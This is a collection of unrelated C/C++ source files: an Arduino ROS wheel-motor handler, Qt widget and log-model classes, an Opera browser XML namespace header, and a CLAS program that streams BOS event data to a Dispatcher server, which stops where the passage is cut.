digitalWrite (left_weel_port_f, HIGH); digitalWrite (left_weel_port_b, LOW); } if (params[0] == -1) { digitalWrite (left_weel_port_f, LOW); digitalWrite (left_weel_port_b, HIGH); } if (params[0] == 0) { digitalWrite (left_weel_port_f, LOW); digitalWrite (left_weel_port_b, LOW); } if (params[1] == 1) { digitalWrite (right_weel_port_f, HIGH); digitalWrite (right_weel_port_b, LOW); } if (params[1] == -1) { digitalWrite (right_weel_port_f, LOW); digitalWrite (right_weel_port_b, HIGH); } if (params[1] == 0) { digitalWrite (right_weel_port_f, LOW); digitalWrite (right_weel_port_b, LOW); } char st[4]; st[0] = params[0] + '0'; st[1] = ' '; st[2] = params[1] + '0'; st[3] = '\0'; str_msg.data = st; chatter.publish( &str_msg ); nh.spinOnce(); } ros::Subscriber<std_msgs::String> sub("Navigator/arduinoCommands", &messageCb ); void setup() { nh.initNode(); nh.advertise(chatter); nh.subscribe(sub); } void loop() { nh.spinOnce(); delay(1); }
#include "brain_form.hpp" #include "ui_brain_form.h" BrainForm::BrainForm(QWidget *parent) : QWidget(parent), ui(new Ui::BrainForm) { ui->setupUi(this); } BrainForm::~BrainForm() { delete ui; }
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-file-style: "stroustrup" -*- * * Copyright (C) 1995-2005 Opera Software ASA. All rights reserved. * * This file is part of the Opera web browser. It may not be distributed * under any circumstances. */ #ifndef XMLNAMES_H #define XMLNAMES_H #include "modules/logdoc/namespace.h" #define XMLNSURI_XML UNI_L("http://www.w3.org/XML/1998/namespace") #define XMLNSURI_XML_LENGTH 36 #define XMLNSURI_XMLNS UNI_L("http://www.w3.org/2000/xmlns/") #define XMLNSURI_XMLNS_LENGTH 29 class XMLExpandedNameN; class XMLCompleteNameN; /** Class representing an expanded name (namespace URI + local part) consisting of null-terminated strings. The constructors will set the object up so that the object does not own the strings. To create a persistent object that copies and owns the strings, use one of the Set() or SetL() functions. */ class XMLExpandedName { protected: uni_char *uri, *localpart; BOOL owns_strings; void Free(), Reset(); public: XMLExpandedName(); /**< Default constuctor. Sets both URI and local part to NULL. */ XMLExpandedName(const uni_char *localpart); /**< Constructor. Sets URI to NULL. @param localpart Local part. Can be NULL. */ XMLExpandedName(const uni_char *uri, const uni_char *localpart); /**< Constructor. @param uri Namespace URI. Can be NULL. @param localpart Local part. Can be NULL. */ XMLExpandedName(const XMLExpandedName &name); /**< Copy constructor. @param name Name to copy. */ XMLExpandedName(HTML_Element *element); /**< Constructor that sets URI and local part to represent the element's expanded name. @param element Element to fetch name from. */ XMLExpandedName(NS_Element *nselement, const uni_char *localpart); /**< Constructor that gets the namespace URI from a NS_Element object. @param nselement NS_Element that provides the namespace URI. @param localpart Local part. */ ~XMLExpandedName(); /**< Destructor. Frees the strings if the object owns them. */ const uni_char *GetUri() const { return uri; } /**< Returns the name's namespace URI component. @return A string or NULL. */ const uni_char *GetLocalPart() const { return localpart; } /**< Returns the name's local part. @return A string or NULL. */ NS_Type GetNsType() const; int GetNsIndex() const; BOOL IsXHTML() const; /**< Returns TRUE if the namespace URI is the namespace URI for XHTML (http://www.w3.org/1999/xhtml.) @return TRUE or FALSE. */ BOOL IsXML() const; /**< Returns TRUE if the namespace URI is the namespace URI for XML (http://www.w3.org/XML/1998/namespace.) @return TRUE or FALSE. */ BOOL IsXMLNamespaces() const; /**< Returns TRUE if the namespace URI is the namespace URI for XML Namespaces (http://www.w3.org/2000/xmlns/.) @return TRUE or FALSE. */ #ifdef SVG_SUPPORT BOOL IsSVG() const; /**< Returns TRUE if the namespace URI is the namespace URI for SVG (http://www.w3.org/2000/svg.) @return TRUE or FALSE. */ #endif // SVG_SUPPORT #ifdef _WML_SUPPORT_ BOOL IsWML() const; /**< Returns TRUE if the namespace URI is the namespace URI for WML (http://www.wapforum.org/2001/wml.) @return TRUE or FALSE. */ #endif // _WML_SUPPORT_ #ifdef XSLT_SUPPORT BOOL IsXSLT() const; /**< Returns TRUE if the namespace URI is the namespace URI for XSLT (http://www.w3.org/1999/XSL/Transform.) @return TRUE or FALSE. */ #endif // XSLT_SUPPORT BOOL IsId(const XMLExpandedName &elementname) const; /**< Returns TRUE if an attribute with this expanded name on an element with the expanded name in 'elementname' is known to be an ID attribute without being declared as such in the DTD. This true for the attribute 'xml:id' and attributes in the null namespace, named 'id' on elements with any name in the XHTML, SVG or WML and on elements in the XSLT namespace with the local part 'stylesheet' or 'transform'. @param elementname Expanded name of an element. @return TRUE if the attribute is an ID attribute. */ BOOL operator==(const XMLExpandedName &other) const; BOOL operator==(const XMLExpandedNameN &other) const; BOOL operator!=(const XMLExpandedName &other) const { return !(*this == other); } BOOL operator!=(const XMLExpandedNameN &other) const { return !(*this == other); } XMLExpandedName &operator=(const XMLExpandedName &other); OP_STATUS Set(const XMLExpandedName &other); OP_STATUS Set(const XMLExpandedNameN &other); void SetL(const XMLExpandedName &other); void SetL(const XMLExpandedNameN &other); class HashFunctions : public OpHashFunctions { public: virtual UINT32 Hash(const void *key); virtual BOOL KeysAreEqual(const void *key1, const void *key2); }; }; class XMLCompleteName : public XMLExpandedName { protected: uni_char *prefix; void Free(), Reset(); OP_STATUS CopyStrings(); public: XMLCompleteName(); XMLCompleteName(const uni_char *localpart); XMLCompleteName(const uni_char *uri, const uni_char *prefix, const uni_char *localpart); XMLCompleteName(const XMLExpandedName &name); XMLCompleteName(const XMLCompleteName &name); XMLCompleteName(HTML_Element *element); XMLCompleteName(NS_Element *nselement, const uni_char *localpart); ~XMLCompleteName(); const uni_char *GetPrefix() const { return prefix; } int GetNsIndex() const; BOOL operator==(const XMLCompleteName &other) const; BOOL operator==(const XMLCompleteNameN &other) const; BOOL operator!=(const XMLCompleteName &other) const { return !(*this == other); } BOOL operator!=(const XMLCompleteNameN &other) const { return !(*this == other); } BOOL SameQName(const XMLCompleteName &other) const; /**< Returns TRUE if the prefix and local part of this name and 'other' are equal, disregarding the URI. */ XMLCompleteName &operator=(const XMLExpandedName &other); XMLCompleteName &operator=(const XMLCompleteName &other); OP_STATUS Set(const XMLExpandedName &other); OP_STATUS Set(const XMLExpandedNameN &other); OP_STATUS Set(const XMLCompleteName &other); OP_STATUS Set(const XMLCompleteNameN &other); void SetL(const XMLExpandedName &other); void SetL(const XMLExpandedNameN &other); void SetL(const XMLCompleteName &other); void SetL(const XMLCompleteNameN &other); OP_STATUS SetUri(const uni_char *new_uri); OP_STATUS SetPrefix(const uni_char *new_prefix); }; class XMLExpandedNameN { protected: const uni_char *uri, *localpart; unsigned uri_length, localpart_length; public: XMLExpandedNameN(); XMLExpandedNameN(const uni_char *uri, unsigned uri_length, const uni_char *localpart, unsigned localpart_length); XMLExpandedNameN(const XMLExpandedName &other); XMLExpandedNameN(const XMLExpandedNameN &other); const uni_char *GetUri() const { return uri; } unsigned GetUriLength() const { return uri_length; } const uni_char *GetLocalPart() const { return localpart; } unsigned GetLocalPartLength() const { return localpart_length; } NS_Type GetNsType() const; int GetNsIndex() const; BOOL IsXHTML() const; BOOL IsXML() const; BOOL IsXMLNamespaces() const; #ifdef SVG_SUPPORT BOOL IsSVG() const; #endif // SVG_SUPPORT #ifdef _WML_SUPPORT_ BOOL IsWML() const; #endif // _WML_SUPPORT_ #ifdef XSLT_SUPPORT BOOL IsXSLT() const; #endif // XSLT_SUPPORT BOOL IsId(const XMLExpandedNameN &elementname) const; BOOL operator==(const XMLExpandedName &other) const { return other == *this; } BOOL operator==(const XMLExpandedNameN &other) const; BOOL operator!=(const XMLExpandedName &other) const { return !(*this == other); } BOOL operator!=(const XMLExpandedNameN &other) const { return !(*this == other); } void SetUri(const uni_char *uri, unsigned uri_length); class HashFunctions : public OpHashFunctions { public: virtual UINT32 Hash(const void *key); virtual BOOL KeysAreEqual(const void *key1, const void *key2); }; }; class XMLCompleteNameN : public XMLExpandedNameN { protected: const uni_char *prefix; unsigned prefix_length; public: XMLCompleteNameN(); XMLCompleteNameN(const uni_char *qname, unsigned qname_length); XMLCompleteNameN(const uni_char *uri, unsigned uri_length, const uni_char *prefix, unsigned prefix_length, const uni_char *localpart, unsigned localpart_length); XMLCompleteNameN(const XMLCompleteName &other); XMLCompleteNameN(const XMLCompleteNameN &other); const uni_char *GetPrefix() const { return prefix; } unsigned GetPrefixLength() const { return prefix_length; } int GetNsIndex() const; BOOL operator==(const XMLCompleteName &other) const { return other == *this; } BOOL operator==(const XMLCompleteNameN &other) const; BOOL operator!=(const XMLCompleteName &other) const { return !(*this == other); } BOOL operator!=(const XMLCompleteNameN &other) const { return !(*this == other); } BOOL SameQName(const XMLCompleteNameN &other) const; /**< Returns TRUE if the prefix and local part of this name and 'other' are equal, disregarding the URI. */ }; /** Class representing a namespace declaration. A namespace declaration is a mapping from a namespace prefix to a namespace URI. XMLNamespaceDeclaration objects are elements in a single linked list representing all namespace declarations in scope at some point. Each object references the previous object (the object that represents the declaration that was the most recent declaration when the next object was created.) These references are never reset, and each object keeps the previous object, and thus the entire chain of previous declarations, alive while it is alive. Objects of this class are reference counted. The reference count can be manipulated manually using the IncRef() and DecRef() functions, or automatically by the "auto pointer" style class Reference. The latter is probably less error prone. */ class XMLNamespaceDeclaration { protected: XMLNamespaceDeclaration *previous, *defaultns; uni_char *uri, *prefix; unsigned level, refcount; XMLNamespaceDeclaration(XMLNamespaceDeclaration *previous, unsigned level); ~XMLNamespaceDeclaration(); public: /** Class for managing a reference to a XMLNamespaceDeclaration object. Will automatically release the reference when destroyed. */ class Reference { protected: XMLNamespaceDeclaration *declaration; public: Reference() : declaration(0) {} /**< Default constructor. Initializes the reference to NULL. */ Reference(XMLNamespaceDeclaration *declaration) : declaration(XMLNamespaceDeclaration::IncRef(declaration)) {} /**< Constructor. Increments the declaration's reference count by one. @param declaration Declaration to reference. */ Reference(const Reference &reference) : declaration(XMLNamespaceDeclaration::IncRef(reference.declaration)) {} /**< Copy constructor. Copies another reference and increments the referenced declaration's reference count by one. @param reference Reference to copy. */ ~Reference() { XMLNamespaceDeclaration::DecRef(declaration); } /**< Destructor. Decrements the referenced declaration's reference count by one. */ XMLNamespaceDeclaration *operator= (XMLNamespaceDeclaration *declaration); /**< Assignment operator. Decrements the currently referenced declaration's reference count and increments the new declaration's. It is safe to assign the same declaration as is currently referenced or a declaration that references or is referenced by the currently referenced declaration. @param declaration Declaration to assign. @return The newly referenced declaration. */ XMLNamespaceDeclaration *operator= (const Reference &reference) { return *this = reference.declaration; } /**< Copy assignment operator. Decrements the currently referenced declaration's reference count and increments the new declaration's. It is safe to assign the same declaration as is currently referenced or a declaration that references or is referenced by the currently referenced declaration. @param reference Reference to copy. @return The newly referenced declaration. */ XMLNamespaceDeclaration &operator* () const { return *declaration; } /**< Dereferencing operator. @return A reference to the reference declaration. */ XMLNamespaceDeclaration *operator-> () const { return declaration; } /**< Member access operator. @return The referenced declaration. */ operator XMLNamespaceDeclaration *() const { return declaration; } /**< Conversion operator. Converts the reference to a pointer to the referenced declaration. */ }; XMLNamespaceDeclaration *GetPrevious() const { return previous; } /**< Returns the previous namespace declaration from this one or NULL if there is none. @return A namespace declaration object or NULL. */ const uni_char *GetUri() const { return uri; } /**< Returns this namespace declaration's URI. If the URI is NULL, this declaration represents an attribute used to undeclare a namespace prefix. @return A string or NULL. */ const uni_char *GetPrefix() const { return prefix; } /**< Returns this namespace declaration's prefix or NULL if this is a default namespace declaration. @return A string or NULL. */ unsigned GetLevel() const { return level; } /**< Returns the level specified when this namespace declaration was pushed. @return This declaration's level. */ NS_Type GetNsType(); /**< Returns the namespace type or NS_NONE if the namespace URI is not known. @return A namespace type. */ int GetNsIndex(); /**< Returns the namespace index of this namespace declaration. Note: this will allocate a namespace index if one does not already exist, so use only if necessary. @return A namespace index. */ static BOOL IsDeclared(XMLNamespaceDeclaration *declaration, const uni_char *prefix, const uni_char *uri); /**< Returns TRUE if 'prefix' is currently declared and the URI associated with it equals 'uri'. */ static unsigned CountDeclaredPrefixes(XMLNamespaceDeclaration *declaration); /**< Returns the number of unique declared prefixes. The default namespace declaration, if present, is not counted. */ static XMLNamespaceDeclaration *FindDeclaration(XMLNamespaceDeclaration *current, const uni_char *prefix, unsigned prefix_length = ~0u); /**< Returns the most recent namespace declaration for the prefix. If 'prefix' is NULL it returns the most recent default namespace declaration. @param current The most recent namespace declaration or NULL if no namespaces have been declared. @param prefix A namespace prefix or NULL. @param prefix_length The length of prefix, or ~0u to use uni_strlen to calculate it. @return A namespace declaration or NULL if not found. */ static XMLNamespaceDeclaration *FindDeclarationByIndex(XMLNamespaceDeclaration *declaration, unsigned index); /**< Return the last declaration declaring the index:th unique declared prefix. */ static XMLNamespaceDeclaration *FindDefaultDeclaration(XMLNamespaceDeclaration *current, BOOL return_undeclaration = TRUE); /**< Return the last declaration declaring the default namespace. If 'return_undeclaration' is FALSE and the declaration that would be returned has a NULL URI and thus undeclares the default namespace, NULL is returned instead. @param current The most recent namespace declaration or NULL if no namespaces have been declared. @param return_undeclaration TRUE if a declaration that undeclares the default namespace should be returned, FALSE if NULL should be returned instead in that case. @return A namespace declaration or NULL. */ static const uni_char *FindUri(XMLNamespaceDeclaration *current, const uni_char *prefix, unsigned prefix_length = ~0u); /**< Returns the URI currently associated with the prefix. If 'prefix' is NULL it returns URI currently declared as the default namespace. @param current The most recent namespace declaration or NULL if no namespaces have been declared. @param prefix A namespace prefix or NULL. @param prefix_length The length of 'prefix,' or ~0u to use uni_strlen to calculate it. @return A namespace URI or NULL if not found or if the most recent namespace declaration for the prefix undeclared the prefix. */ static const uni_char *FindDefaultUri(XMLNamespaceDeclaration *current); static const uni_char *FindPrefix(XMLNamespaceDeclaration *current, const uni_char *uri, unsigned uri_length = ~0u); /**< Returns the prefix of the most recent namespace declaration in scope with the URI 'uri'. Note that this function will skip any namespace declarations in the list, with a matching URI, but whose prefix has been undeclared or redeclared by more recent namespace declarations. That is, the namespace prefix returned by this function, if any, is guaranteed to resolve to the correct URI if passed to FindUri. @param current The most recent namespace declaration or NULL if no namespaces have been declared. @param uri A namespace URI. Cannot be NULL. @param uri_length The length of 'uri,' or ~0u to use uni_strlen to calculate it. @return A namespace prefix or NULL if not found. */ static OP_BOOLEAN ResolveName(XMLNamespaceDeclaration *current, XMLCompleteName &name, BOOL use_default = TRUE); /**< Resolves a complete name (prefix + local part) by filling in the URI component. Optionally (if 'use_default' is TRUE) uses default namespace declarations when the prefix component is NULL. Returns FALSE if the prefix component was not NULL and no such prefix was declared, otherwise returns TRUE (that is, if the prefix component was NULL but there was no default namespace declared, this function still returns TRUE, since that is typically not an error.) @param current The most recent namespace declaration or NULL if no namespaces have been declared. @param name Complete name whose prefix component is used to find a namespace URI. @param use_default If TRUE, default namespace declarations are used if the prefix component is NULL. If FALSE and the prefix component is NULL, the URI component is unconditionally set to NULL. @return OpBoolean::IS_FALSE if the prefix component was not NULL and no such prefix was declared, OpBoolean::TRUE if that was not the case and OpStatus::ERR_NO_MEMORY on OOM. */ static BOOL ResolveName(XMLNamespaceDeclaration *current, XMLCompleteNameN &name, BOOL use_default = TRUE); /**< Resolves a complete name (prefix + local part) by filling in the URI component. Optionally (if 'use_default' is TRUE) uses default namespace declarations when the prefix component is NULL. Returns FALSE if the prefix component was not NULL and no such prefix was declared, otherwise returns TRUE (that is, if the prefix component was NULL but there was no default namespace declared, this function still returns TRUE, since that is typically not an error.) @param current The most recent namespace declaration or NULL if no namespaces have been declared. @param name Complete name whose prefix component is used to find a namespace URI. @param use_default If TRUE, default namespace declarations are used if the prefix component is NULL. If FALSE and the prefix component is NULL, the URI component is unconditionally set to NULL. @return FALSE if the prefix component was not NULL and no such prefix was declared and TRUE if that was not the case. */ static BOOL ResolveNameInScope(HTML_Element *element, XMLCompleteNameN &name); /**< Resolves a complete name (prefix + local part) in the scope of element by filling in the URI component. @param[in] element The element. Cannot be NULL. @param[in/out] name Complete name whose prefix component is used to find a namespace URI. @return TRUE if it was able to resolve the name. */ static OP_STATUS Push(XMLNamespaceDeclaration::Reference &current, const uni_char *uri, unsigned uri_length, const uni_char *prefix, unsigned prefix_length, unsigned level); /**< Push a namespace declaration. If the URI is NULL, the declaration serves to undeclare the prefix. If the prefix is NULL, the declaration is a default namespace declaration. The pointer 'current' is updated to point at the new declaration. The caller must own a reference to the declaration that 'current' points at. That reference is transferred to the new declaration on success. If the operation fails, 'current' is left unchanged and no reference counts are modified. @param current The most recent namespace declaration or NULL if no namespaces have been declared. Will be updated to point to the newly pushed declaration. @param uri Namespace URI or NULL. @param uri_length The length of 'uri,' or ~0u to use uni_strlen to calculate it. @param prefix Namespace prefix or NULL. @param prefix_length The length of 'prefix,' or ~0u to use uni_strlen to calculate it. @param level Level of the pushed declaration. @return OpStatus::OK or OpStatus::ERR_NO_MEMORY on OOM. */ static void PushL(XMLNamespaceDeclaration::Reference &current, const uni_char *uri, unsigned uri_length, const uni_char *prefix, unsigned prefix_length, unsigned level); /**< Push a namespace declaration. If the URI is NULL, the declaration serves to undeclare the prefix. If the prefix is NULL, the declaration is a default namespace declaration. The pointer 'current' is updated to point at the new declaration. The caller must own a reference to the declaration that 'current' points at. That reference is transferred to the new declaration on success. If the operation fails, 'current' is left unchanged and no reference counts are modified. LEAVEs on OOM. @param current The most recent namespace declaration or NULL if no namespaces have been declared. Will be updated to point to the newly pushed declaration. @param uri Namespace URI or NULL. @param uri_length The length of 'uri'. @param prefix Namespace prefix or NULL. @param prefix_length The length of 'prefix'. @param level Level of the pushed declaration. */ static void Pop(XMLNamespaceDeclaration::Reference &current, unsigned level); /**< Pops all declarations with a level higher than or equal to 'level'. The pointer 'current' is updated to point at the most recent declaration not popped. The caller must own a reference to the declaration that 'current' points at. That reference is transferred to the new current declaration, or released if all declarations are popped. @param current The most recent namespace declaration or NULL if no namespaces have been declared. Will be updated to point to the newly pushed declaration. @param level Level of declarations to pop. */ static OP_STATUS ProcessAttribute(XMLNamespaceDeclaration::Reference &current, const XMLCompleteNameN &name, const uni_char *value, unsigned value_length, unsigned level); /**< Process an attribute. If the attribute is a namespace declaration attribute, a namespace declaration is pushed as by a call to Push with appropriate arguments. If the attribute is not a namespace declaration attribute, this function does nothing. @param current The most recent namespace declaration or NULL if no namespaces have been declared. Will be updated to point to the newly pushed declaration if a declaration is pushed. @param name The attribute's name. @param value The attribute's value. @param value_length The lenght of the attribute's value. @param level Level of the pushed declaration. @return OpStatus::OK or OpStatus::ERR_NO_MEMORY. */ static OP_STATUS PushAllInScope(XMLNamespaceDeclaration::Reference &current, HTML_Element *element, BOOL elements_actual_ns = FALSE); /**< Push all namespace declarations in scope at 'element'. The resulting list of namespace declarations would be suitable for correctly resolving namespace prefixes of attributes on 'element'. @param current The most recent namespace declaration or NULL if no namespaces have been declared. Will be updated to point to the newly pushed declaration if a declaration is pushed. @param element An element. Cannot be NULL. @param elements_actual_ns FALSE by default. If TRUE, every element's actual namespace is pushed in addition to namespaces found in namespace declaration attributes. @return OpStatus::OK or OpStatus::ERR_NO_MEMORY. */ private: friend class Reference; /**< Calls IncRef() and DecRef(). */ static XMLNamespaceDeclaration *IncRef(XMLNamespaceDeclaration *declaration); /**< Increment the declaration's reference counter. Consider using the Reference class instead of calling this function directly. If the argument is NULL, the function does nothing. @param declaration A namespace declaration or NULL. @return The 'declaration' argument. */ static void DecRef(XMLNamespaceDeclaration *declaration); /**< Decrement the declaration's reference counter. If the counter reaches zero, the object is deleted. Consider using the Reference class instead of calling this function directly. If the argument is NULL, the function does nothing. @param declaration A namespace declaration or NULL. */ }; #ifdef XMLUTILS_XMLNAMESPACENORMALIZER_SUPPORT /** Helper class for normalizing namespace declarations in a tree. Given the name of each element, and all of the attributes specified in the elements start tag, the namespace normalizer will add namespace declaration attributes and/or rename specified attributes so that the resulting set of specified attributes makes the tree as a whole namespace valid. */ class XMLNamespaceNormalizer { public: XMLNamespaceNormalizer(BOOL copy_strings, BOOL perform_normalization = TRUE); /**< Constructor. If 'copy_strings' is TRUE, the functions StartElement() and AddAttribute() will copy all names and attribute values they are given, and the information returned by subsequent GetAttribute() will be owned by the XMLNamespaceNormalizer object. If 'copy_strings' is FALSE nothing will be copied, no strings will be owned by the XMLNamespaceNormalizer object and the information returned by GetAttribute() calls will be the same as given to StartElement() or AddAttribute() calls. If 'perform_normalization' is FALSE, the normalizer will in fact not normalize anything, and is essentially reduced to a simple attribute collection. It will still maintain a view of the current namespace declarations however. */ void SetPerformNormalization(BOOL new_perform_normalization) { perform_normalization = new_perform_normalization; } /**< Updates whether this normalizer actually normalizes. In practice this flag only affects each call to FinishAttributes(), and so can be changed freely whenever. */ ~XMLNamespaceNormalizer(); /**< Destructor. Frees all memory allocated by the object. The object can be destroyed at any time, regardless of its current state. */ OP_STATUS StartElement(const XMLCompleteName &name); /**< Start a new element named 'name'. The local part of the name is insignificant; the namespace uri and prefix of it may cause a namespace declaration declaring that prefix to be introduced. @return OpStatus::OK or OpStatus::ERR_NO_MEMORY. */ OP_STATUS AddAttribute(const XMLCompleteName &name, const uni_char *value, BOOL overwrite_existing); /**< Add an attribute. Must be called between calls to StartElement() and FinishAttributes(). The attribute name's local part and its value are only significant if the attribute is a namespace declaration attribute, but will be stored and returned later in any case. If the value is known not to be significant, it can be NULL. If 'overwrite_existing' TRUE, an existing attribute with the same expanded name will be overwritten by the new attribute. If it is FALSE, and existing attribute with the same expanded name will cause this function to return OpStatus::ERR without changing anything. @param name The attribute's name. @param value The attribute's value. @return OpStatus::OK, OpStatus::ERR or OpStatus::ERR_NO_MEMORY. */ BOOL RemoveAttribute(const XMLExpandedName &name); /**< Remove an attribute. Returns TRUE if such an attribute was found (and thus removed) and FALSE if not. @param name Name of attribute to remove. @return TRUE or FALSE. */ OP_STATUS FinishAttributes(); /**< Called when all attributes have been finished. The resulting set of specified attributes after namespace normalization can be read using GetAttributesCount() and GetAttribute() after this function has been called, until either StartElement() or EndElement() has been called. @return OpStatus::OK or OpStatus::ERR_NO_MEMORY. */ const XMLCompleteName &GetElementName() { return element_name; } /**< Returns the current element's name. */ XMLNamespaceDeclaration *GetNamespaceDeclaration() { return ns; } /**< Returns the current namespace declarations. Only modified by calls to FinishAttributes() and EndElement(). After a call to FinishAttributes(), this includes all declarations introduced by namespace declaration attributes on the current element as well as declarations introduced during normalization. After a call to EndElement(), all declarations introduced by attributes on the ended element are gone. */ unsigned GetAttributesCount() { return attributes_count; } /**< Returns number the number of specified attributes on the current element. */ const XMLCompleteName &GetAttributeName(unsigned index) { return attributes[index]->name; } /**< Fetch the index:th attribute's name. The index must be lower than the attributes count returned by GetAttributesCount(). */ const uni_char *GetAttributeValue(unsigned index) { return attributes[index]->value; } /**< Fetch the index:th attribute's value. The index must be lower than the attributes count returned by GetAttributesCount(). */ void EndElement(); /**< End the current element. Note that StartElement()/EndElement() calls are used to specify a tree structure. They should be matched (same number of calls to StartElement() and EndElement()) unless the normalization is aborted, and at any time the number of calls to EndElement() cannot be higher to the number of calls to StartElement(). Note that EndElement() resets both element name and the list of attributes of the current element, and that it doesn't restore those of the previous element. */ private: BOOL copy_strings, perform_normalization; XMLNamespaceDeclaration::Reference ns; unsigned depth; XMLCompleteName element_name; class Attribute { public: Attribute() : value(NULL) {} XMLCompleteName name; const uni_char *value; }; Attribute **attributes; unsigned attributes_count, attributes_total; void Reset(); }; #endif // XMLUTILS_XMLNAMESPACENORMALIZER_SUPPORT #endif // XMLNAMES_H
#include "logmodel.h" #include <memory> #include <QDebug> #include <unordered_set> #include <QPixmap> #include <ui/Callbacks/Log.h> LogModel::LogModel(QObject *parent) :QAbstractListModel(parent) {} int LogModel::rowCount(const QModelIndex &parent) const { return items.size(); } QVariant LogModel::data(const QModelIndex &index, int role) const { if (!index.isValid()) return QVariant(); if (index.row() >= items.size()) return QVariant(); if (role == Qt::DisplayRole) { auto item = items.at(index.row()); return QVariant::fromValue(item); } else return QVariant(); } void LogModel::createLog(const Log& log) { QByteArray array; int row = this->rowCount(); beginInsertRows(QModelIndex(),row,row + 1); if(log.text != "") { items.emplace_back(LogItemView(log)); } endInsertRows(); emit updateItems(); } void LogModel::newLog(const Log& log) { int row = this->rowCount(); beginInsertRows(QModelIndex(),row,row + 1); endInsertRows(); emit updateItems(); } void LogModel::setData(std::vector<Log>& logs) { if (!logs.empty()) { int row = this->rowCount(); beginInsertRows(QModelIndex(), row, row + logs.size() - 1); for (auto &object : logs) { items.emplace_back(Log(object)); } endInsertRows(); } emit updateItems(); } std::vector<LogItemView> LogModel::getItems() { return items; } void LogModel::Clear() { beginResetModel(); items.clear(); endResetModel(); }
/* * bos2Disp.cc * Purpose: Send BOS data from a file to the Dispatcher */ extern "C" { #include <stdio.h> #include <string.h> #include <math.h> #include <signal.h> #include <stdlib.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #include <errno.h> #include <ntypes.h> #include <bostypes.h> #include <clas_cern.h> #include <particleType.h> #include <kinematics.h> #include <pdgutil.h> #include <pid.h> #include <scalers.h> #include <utility.h> #include <printBOS.h> #include <ec.h> #include <PartUtil.h> #include <dataIO.h> #include <itape.h> int SetVerbose(int); void nGenBanks(itape_header_t *buffer,int bufsize,int *jw,char *list); } #include <iostream.h> #define BUFSIZE 900000 int eventsTotal; int eventsSent; int eventsSkipped; int nevents = 0; static int requestedRawData = 0; static const void* dataPtr = NULL; static const void* dataNext = NULL; /* ----------- Function prototypes ---------------- */ int GetDispatcherCommand(itape_header_t *); int SendData2Dispatcher(itape_header_t *buffer); int ProcessEvent(unsigned int); void ctrlCHandle(int); void PrintUsage(char *processName); /* declare the bos common */ BOSbank bcs_; int max = 0; /* --------------------------------------------------- */ void PrintUsage(char *processName) { cerr << "Usage: " << processName << " [-M] file1 [file2] etc....\n\n"; cerr << " Options:\n"; cerr << "\t-M[#] \tProcess only # number of events\n"; cerr << "\t-Daddress \tDispatcher address" << endl; cerr << "\t-v \tverbose mode" << endl; cerr << "\t-V \tVerbose mode" << endl; cerr << "\t-h \tPrint this message\n"; exit(0); } main(int argc,char **argv) { FILE *fout = stdout; FILE *fp = NULL; int i; char *argptr, *outfile = NULL; int Nevents = 0; int nwrite = 0; char mess[100]; int ret; ios::sync_with_stdio(); int partno = 0; int monteCarlo = 0; int verbose = 0; int Verbose = 0; clasHEAD_t *HEAD; unsigned int triggerMask = 0xffff; char*server = getenv("CLAS_DISPATCHER"); if (server==NULL) server = "localhost:10099"; setbuf(stderr,NULL); setbuf(stdout,NULL); signal(SIGINT,ctrlCHandle); signal(SIGHUP,ctrlCHandle); for (i=1; i<argc; i++) { argptr = argv[i]; if (*argptr == '-') { argptr++; switch (*argptr) { case 'o': if ( !(fout = fopen(++argptr,"w"))) { cerr << "Unable to open file: " << argptr << endl; exit(0); } break; case 'D': server = ++argptr; break; case 'v': verbose = 1; SetVerbose(1); break; case 'V': Verbose = 1; SetVerbose(1); break; case 'h': PrintUsage(argv[0]); break; case 'M': max = atoi(++argptr); break; case 't': triggerMask = strtoul(++argptr,NULL,0); break; default: fprintf(stderr,"Unrecognized argument: [-%s]\n\n",argptr); PrintUsage(argv[0]); break; } } } /*initialize bos */ initbos(); if (server==NULL) server = "localhost:10098"; setbuf(stderr,NULL); setbuf(stdout,NULL); if (!server) { fprintf(stderr,"No dispatcher connection specified, exiting...\n"); exit(1); } /* connect to the Dispatcher */ ret = disIO_connect(server,-1); if (ret) { fprintf(stderr,"Cannot connect to the Dispatcher at [%s].\n",server); exit(1); } for (i = 1;i < argc; ++i) { argptr = argv[i]; if (*argptr != '-') { sprintf(mess,"OPEN BOSINPUT UNIT=1 FILE=\"%s\" READ", argptr); if (!fparm_c(mess)) { fprintf(stderr,"%s: Unable to open file \'%s\': %s\n\n",argv[0],argptr,strerror(errno)); } else { int Nwrite = 0; while ((max ? Nevents < max : 1) && ProcessEvent(triggerMask) ) { Nevents++; if (verbose) { if (! (Nevents % 100)) cerr << Nevents << "\t\r" << flush; } dropAllBanks(&bcs_,"E"); cleanBanks(&bcs_); } cerr << "end loop" << endl; } fprintf(stderr,"# of events processed: %d\n",Nevents); sprintf(mess,"CLOSE BOSINPUT", argptr); fparm_c(mess); SendEndTape(); disIO_disconnect(); /* make sure we disconnect from the Dispatcher */ } } } int SendData2Dispatcher(itape_header_t *buffer) { int ret; int retval; /* initialize itape */ ret = disIO_writeRAW(buffer,buffer->length + 4); retval = 1; return(retval); } int ProcessEvent(unsigned int triggerMask) { static itape_header_t *buffer = NULL; static int CurrentRun = 0; int Run; int ret = 0; int continueReading = 1; int retval = 1; cerr << "entering ProcessEvent " << endl; if (!buffer) { if(!(buffer = (itape_header_t *)malloc(BUFSIZE))) { fprintf(stderr,"Error on the memory allocation\n"); fprintf(stderr,"look at code of file %s at line %d\n", __FILE__, __LINE__); exit(1); } } while (continueReading){ if ( (retval = getBOS(&bcs_,1,"E"))) { clasHEAD_t *HEAD = (clasHEAD_t *) getBank(&bcs_,"HEAD"); if (HEAD) { cerr << "Event:\t" << HEAD->head[0].nrun << "\t" << HEAD->head[0].nevent << " " << nevents++ << endl; } else { cerr << "Head bank not found" << endl; } continueReading = retval ? (!HEAD || !(triggerMask & HEAD->head[0].trigbits)) : 0; if (!continueReading) { ret = 1; data_newItape(buffer); if ( (Run = fillHeader(buffer)) != CurrentRun) { SendBeginTape(CurrentRun = Run); cerr << "Begin Run: " << Run << endl; } cerr << "Run: " << Run << endl; nGenBanks(buffer,BUFSIZE,bcs_.iw,"E"); cerr << "Waiting for a message from the Giant Head..." << endl; cerr << "Dispatcher: " << (ret = GetDispatcherCommand(buffer)) << endl; } else { fprintf(stderr,"read again...\n"); } } continueReading = 0; } cerr << "Process Event returning: " << ret << endl; return(ret); } void ctrlCHandle(int x) { signal(SIGINT,ctrlCHandle); signal(SIGHUP,ctrlCHandle); max = 1; fprintf(stderr,"\n\n\t\t\t*** 